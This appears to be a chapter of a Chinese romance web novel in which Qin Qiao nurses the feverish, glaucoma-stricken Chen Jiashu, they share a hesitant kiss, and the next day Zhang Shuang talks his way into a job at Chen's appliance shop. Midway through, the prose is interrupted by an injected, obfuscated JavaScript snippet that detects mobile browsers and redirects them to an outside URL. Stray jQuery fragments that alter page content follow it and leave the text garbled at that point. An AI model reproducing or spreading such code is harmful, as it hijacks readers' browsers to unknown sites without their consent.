41. 陈老板

作品:《她照亮我

    窗外,浓郁的夜晚是深蓝色的。


    繁星缀满天空,犹如碎钻铺成的蜿蜒流动的河流。


    “爽哥,我陪着他吧,你先回去休息,如果有变化,我给你打电话。”


    听到覃乔的话语,让张爽收回目光,转身走到床头。


    他俯视床上睡着的陈嘉树,穿着睡衣的双手放在被子外面。这人刚回到酒店就撑不住了,倒在床上起都起不来。擦身、换睡衣都是他帮忙做的。


    这会儿脸上的红意褪去不少,夹起的眉头逐渐舒展。得亏覃乔去前台要了退烧药,硬给他灌进去压下了热度。


    他的眼神转移坐沙发那儿的覃乔脸上,“也行,有什么事,通知我。”


    门锁“啪嗒”一声合拢。


    覃乔离开沙发,侧坐在床边。


    因为高热,让他嘴唇皲裂、灰白,即使她一遍遍用棉签沾水给他擦拭过。


    那天在车上,张爽半开玩笑说,“我们陈老板的心啊~可柔软了。”


    何止柔软。


    那个孩子落水,他想都没想,跳下去。


    手机泡坏了、全身湿透、现在躺在这里烧的昏沉。


    而那个被救孩子的母亲,抱着孩子早已不知去向。


    许是感应到她在盯着他看,陈嘉树缓慢地抬起眼皮,平视正上方天花板。


    赤红色的瞳眸凝着灯光,一层薄薄的水光盖在上面。


    “陈嘉树。”她轻轻叫他的名字。


    他的眼珠迟缓地转向声源,“是你吗?”


    “是我,覃乔。”覃乔才意识到她在他左边,连忙绕到床的另一侧。


    他跟踪着她的身影,直到她坐下。


    “眼睛.....疼。”这个“疼”字被他含在喉咙里,带着点孩子气的委屈。


    高烧把他的眼皮和眼周皮肤烧成淡红色。


    覃乔那次发烧体会过,哪哪儿都疼。


    覃乔记起他昨晚睡前会滴眼药水,“我帮你拿眼药水好吗?”


    开他的行李箱需要征得他的同意。


    他低低“嗯”声,脸皮沉重的都快抬不起来,可眼珠却固执的追着她的身影移动。


    像是怕一眨眼,她会消失。


    药盒纯英文的,她认出几个——急性、慢性青光眼、眼压.....每个单词都像一根刺刺进她眼睛里。


    她把这两盒都放在床头柜上,坐到床上,扭头问这个一瞬不眨看她的人,“能起来吗?”


    陈嘉树双臂用力一撑床面,坐起来靠在床头,他朝她弯了弯唇,“覃乔......谢谢你。”


    总是这么客气。


    手掌敷在他额头上,高热已经退去,难怪眼神有了神采,药效起的还挺快。


    覃乔放下手,回他微笑。


    他转头,伸手拿了桌上的一盒药水,回头,看着她的眼睛说,“降眼压的,那一瓶也是。”


    知道他还有话要说,覃乔没接话。


    “医生说不能擅自停药,控制的好......”他抿出一丝浅淡的笑,“能保持有用视力到老年……是不是有些麻烦?”


    老年......他才多大啊。


    跟她说得清楚,是怕坑她吗?


    酸涩涌上心头,眼眶微微发热,覃乔维持着微笑,“有些麻烦,但如果治疗病情,麻烦就麻烦些,对不对?”


    不粉饰问题,没有刻意空洞的鼓励,也没有顾左右而言他的回避,这就是覃乔。


    陈嘉树颔首,“你说的对。”


    他打开盒子从里面取出药水,盒子放回桌上,两指捏着药瓶,想起一周前,回忆之后对她说,“那天手术出来,左眼连光都分辨不出,拆线后终于有了光感,后来慢慢能看到虚影,分颜色......”他直望她的眼睛,说:“坚持用药会好的。”


    覃乔等陈嘉树滴完眼药,却在起身之际,被陈嘉树攥住手腕。


    他睁开沾着药液的眼睛,“你今晚还留这里吗?”


    “我……你还没完全好,我不走。”她的目光落在那张沙发上,“我睡沙发。”昨晚的画面一股脑涌进大脑,脸上热度渐渐地,渐渐地攀升。


    他沉沉开口,“不……”他掀开被子,手肘一撑,往另一边侧身是想下床,“我睡沙发。”


    心一急,覃乔慌不择路地直接跪在床上,踢掉拖鞋,手脚并用地爬过去,去够他的肩膀,想拦住他。


    然而,在她即将抓住他的一瞬,他突然回身。


    抓空,整个人猝不及防地撞进他怀里。


    额头擦过他的唇,温热的触感让她如触电般起颤栗。


    可蓦然间,一条臂弯裹住她的腰身,用力、收紧,两具身体紧密相贴。


    心脏在胸腔内疯狂膨胀,似乎要冲破它。


    呼吸不上来。


    她掀开眼,暗影倏地降下,粗重紊乱的吐息喷洒在她鼻尖,却也只是克制地停在那里。


    睫毛颤颤。


    那双深邃汹涌的双眼几乎要将她整个吸纳进去。


    它还有一种魔力让她忍不住地想……亲近他。


    覃乔抬起下巴,唇瓣状似无意地擦过他的脸颊。


    那里炙烫。


    她的故意‘寻衅’,被他加重力度的手臂‘警告’。


    “陈……”


    吻落下,剩下两个字被它生生截断。


    他吻的细细碎碎,毫无章法。


    血液如岩浆般冲上大脑,严重缺氧让她几乎晕眩。


    双手攀缘上他的肩,十指紧扣进他绷紧的背肌,似溺水者抓住浮木,求生。


    而在她看到他鸦青的睫羽上还凝着药液,像悬挂的泪珠时,所有理智在此刻分崩离析。


    双手渐渐松弛,挂住他脖子,像是燃烧起一把火。


    只是,紧扣的牙关被他撬开的一刹,她霍然睁大双眼,喉中不自觉溢出“唔——”


    四目相对。


    他那双汹涌的眼瞳顷刻浪退,眸光变得清清明明。


    空气时间似乎在这一刻静止住。


    过后,他抻起脖子撤开距离,眼里盛满歉意,搂在她腰上的手迅速撤回。


    慌乱、手足无措,覃乔忽觉得这样的陈嘉树少见又……可爱。


    她眉梢微挑,噗嗤笑了,“陈老板生病了,理解。”


    他不敢正视她,只是重复,“我……睡沙发。”


    “你不能睡沙发。”


    覃乔知道陈嘉树不可能让她睡沙发,而她也不能让病着的陈嘉树睡那里,与其争执不下,不如选个折中的方法。


    她略停顿,“我睡你旁边”


    “我担心……”他撩起眼睑。


    她目光不避不闪。


    灯下白如羊脂的肌肤,散发出柔和光泽。


    她捞来一个枕头放在中间,“小时候啊,我有位男同桌,总是怕我的文具跑到他那边,就在桌上画了三八线,恨不得啊桌上有条鸿沟,我有时逗他,故意用胳膊肘擦掉这条线,他总是被我气的不轻。”


    她清清嗓子,“但陈老板放心,这条线只防文具……病了总得有人照顾是不是?”


    陈嘉树嘴角抽搐两下,克制住笑意,视线落在枕头上,“覃乔……别欺负病人。”


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15515682|169142||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    *


    生病打乱了计划,又由于覃乔需赶回学校上公开课,晚景星空只能作罢。


    第二天上午他们先去了草莓园。


    草莓娇贵,种在温室大棚里,垄沟间光线昏暗,地面凹凸不平。覃乔走在前面,时不时回头提醒,“左边有个小坑,小心。”


    陈嘉树拎着篮子,跟在她身后半步,严格遵循她的指挥,仿佛只要跟着她的指引,就不会踏错。


    这一幕,被隔壁沟垄叉着腰歇力的张爽看了去。


    他感慨亦好笑,什么眼疾,都是其次,心甘情愿才是真。


    采摘结束回澜川的路上。


    在覃乔强烈请求下,两人进服务区换了位置。


    张爽只是怕她累着,某人心疼;覃乔想的则是自己也出份力。


    “你这车技不错啊。”


    他们车超过一辆接一辆的汽车,开得稳稳地,副驾驶的张爽终于松开暗中攥紧安全带的手。


    张爽通过车内后视镜观察陈嘉树。


    陈嘉树阖着双眼,在听到他夸覃乔时嘴角牵起微笑。


    确认他没睡着,张爽才开口,“陈老板,我投奔你这事,考虑好了没?”


    那是他去日本第二晚,他给陈嘉树打电话,说那破班一点都不想上了,旅游回来就辞职投奔他。陈嘉树当时没给他明确的回答,只是让他再好好想想。


    陈嘉树缓缓睁开眼,“还是那句话,你来我这儿,可能半年赚不到你一个季度的奖金。”


    “你这是瞧不上我?”张爽猛地扭身,“信不信我能让来买电饭煲的大妈,心甘情愿再抱走养生壶和豆浆机,最后还得拉着我的手说‘小伙子你可真会过日子’。”


    “你在4S店当销冠,很大程度上依托于品牌溢价和消费者对LOGO的认同——”陈嘉树温和地打断他,“如果换成杂牌车,你还能让客户多掏二万选装配置吗?”


    把着方向盘的覃乔轻轻笑了声。


    张爽捏着皮椅反驳,“但据我调研,你店里百分之八十是牌子货,现在老百姓认牌子,不存在售不出去的可能性。”


    陈嘉树说,“你卖奔驰客户都带着存折来,在我这儿,客户能为了一个电饭煲跑三家。”


    “那我就能让这种犹犹豫豫地客户进了我们家就不再去别家”张爽自信地道。


    陈嘉树不说话,似在思考。


    张爽立即说,“要不要打赌?三个月,我把我们小店的销量翻一番?”


    陈嘉树淡淡地说,“你们4s店那一套不适合我的小店。所有促销都是让利,我要的不是三个月流水翻倍,而是利润翻倍,你做的到吗?”


    张爽语塞,陈嘉树已看穿他想说的方案。


    4S店能搞各种促销是因为利润大,小店搞促销等于赔本赚吆喝。


    他承认陈嘉树说得没错,但并非完全没有让利的余地。


    “利润翻倍……也不是不行,但得换个玩法。听说过,“限量尊享礼遇”吗?”张爽想不到有天还需要卖力推销自己,想做陈老板的员工可真难。


    “你准备怎么‘尊享’我的电饭煲客户?”陈嘉树平静反问。


    覃乔憋不住笑了,瞥了眼后视镜中稳重的男人,“你们一个只知道让利,一个只想守成,其实你们两个就是两种商业模式,硬吵没用,不如.....合作看看?”


    覃乔的话成了一锤定音,张爽终于成功拿到了【嘉树电器。维修】的入职offer。


    之后,车停在校门口。


    车上只有他们两人时,覃乔对张爽说,“他呀,是怕自己庙小,耽误你。”